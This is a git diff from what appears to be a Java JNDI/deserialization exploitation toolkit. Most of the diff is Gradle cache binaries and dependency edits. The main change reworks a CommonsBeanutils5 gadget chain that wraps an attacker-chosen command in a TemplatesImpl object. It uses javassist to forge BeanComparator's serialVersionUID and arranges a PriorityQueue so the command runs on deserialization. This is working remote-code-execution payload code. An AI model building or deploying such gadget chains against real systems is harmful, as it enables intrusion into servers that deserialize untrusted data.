diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock index e7a0f46..b8ab041 100644 Binary files a/.gradle/8.7/checksums/checksums.lock and b/.gradle/8.7/checksums/checksums.lock differ diff --git a/.gradle/8.7/checksums/md5-checksums.bin b/.gradle/8.7/checksums/md5-checksums.bin index 300b218..eac795d 100644 Binary files a/.gradle/8.7/checksums/md5-checksums.bin and b/.gradle/8.7/checksums/md5-checksums.bin differ diff --git a/.gradle/8.7/checksums/sha1-checksums.bin b/.gradle/8.7/checksums/sha1-checksums.bin index 8cfaeaa..f05101b 100644 Binary files a/.gradle/8.7/checksums/sha1-checksums.bin and b/.gradle/8.7/checksums/sha1-checksums.bin differ diff --git a/.gradle/8.7/executionHistory/executionHistory.bin b/.gradle/8.7/executionHistory/executionHistory.bin index be1d1c5..43f96ee 100644 Binary files a/.gradle/8.7/executionHistory/executionHistory.bin and b/.gradle/8.7/executionHistory/executionHistory.bin differ diff --git a/.gradle/8.7/executionHistory/executionHistory.lock b/.gradle/8.7/executionHistory/executionHistory.lock index 62ade44..c0fd8ae 100644 Binary files a/.gradle/8.7/executionHistory/executionHistory.lock and b/.gradle/8.7/executionHistory/executionHistory.lock differ diff --git a/.gradle/8.7/fileHashes/fileHashes.bin b/.gradle/8.7/fileHashes/fileHashes.bin index 60604e6..52041eb 100644 Binary files a/.gradle/8.7/fileHashes/fileHashes.bin and b/.gradle/8.7/fileHashes/fileHashes.bin differ diff --git a/.gradle/8.7/fileHashes/fileHashes.lock b/.gradle/8.7/fileHashes/fileHashes.lock index e6636fa..14039cf 100644 Binary files a/.gradle/8.7/fileHashes/fileHashes.lock and b/.gradle/8.7/fileHashes/fileHashes.lock differ diff --git a/.gradle/8.7/fileHashes/resourceHashesCache.bin b/.gradle/8.7/fileHashes/resourceHashesCache.bin index 6da5d90..7d0c72d 100644 Binary files a/.gradle/8.7/fileHashes/resourceHashesCache.bin and b/.gradle/8.7/fileHashes/resourceHashesCache.bin differ diff --git a/.gradle/buildOutputCleanup/buildOutputCleanup.lock b/.gradle/buildOutputCleanup/buildOutputCleanup.lock index 3d13035..5134045 100644 Binary files a/.gradle/buildOutputCleanup/buildOutputCleanup.lock and b/.gradle/buildOutputCleanup/buildOutputCleanup.lock differ diff --git a/.gradle/file-system.probe b/.gradle/file-system.probe new file mode 100644 index 0000000..ad2059f Binary files /dev/null and b/.gradle/file-system.probe differ diff --git a/build.gradle b/build.gradle index 866fe51..e273227 100644 --- a/build.gradle +++ b/build.gradle @@ -96,12 +96,6 @@ dependencies { api libs.javax.websocket.javax.websocket.api api libs.com.caucho.resin implementation 'net.sf.json-lib:json-lib:2.4:jdk15' - implementation('commons-beanutils:commons-beanutils:1.6.1') { - version { - strictly '1.6.1' - } - } - implementation files('lib/CB161.jar') runtimeOnly libs.org.aspectj.aspectjweaver compileOnly libs.org.apache.tomcat.tomcat.websocket } diff --git a/libs/commons-beanutils-1.6.1.jar b/libs/commons-beanutils-1.6.1.jar deleted file mode 100644 index 795655a..0000000 Binary files a/libs/commons-beanutils-1.6.1.jar and /dev/null differ diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils5.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils5.java index f89331c..3b89664 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils5.java +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils5.java @@ -4,6 +4,9 @@ import com.qi4l.jndi.gadgets.annotation.Authors; import com.qi4l.jndi.gadgets.annotation.Dependencies; import com.qi4l.jndi.gadgets.utils.Gadgets; import com.qi4l.jndi.gadgets.utils.Reflections; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.beanutils.BeanComparator; import java.lang.reflect.Constructor; import java.lang.reflect.Method; @@ -13,24 +16,28 @@ import java.net.URLClassLoader; import java.util.Comparator; import java.util.PriorityQueue; +import static com.qi4l.jndi.gadgets.utils.InjShell.insertField; + @Dependencies({"commons-beanutils:commons-beanutils:1.6.1"}) public class CommonsBeanutils5 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { final Object template; template = Gadgets.createTemplatesImpl(command); + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); - URLClassLoader classLoader = new URLClassLoader(new URL[]{new URL("file://libs/commons-beanutils-1.6.1.jar")}, Thread.currentThread().getContextClassLoader()); - Class BeanComparator = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator"); - Constructor constructor = BeanComparator.getConstructor(String.class); - Object comparator = constructor.newInstance("lowestSetBit"); - final PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator); + insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = 2573799559215537819L;"); + Class beanCompareClazz = ctClass.toClass(); + BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance(); + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); - queue.add(new BigInteger("1")); - queue.add(new BigInteger("1")); - + // switch method called by comparator Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); return queue;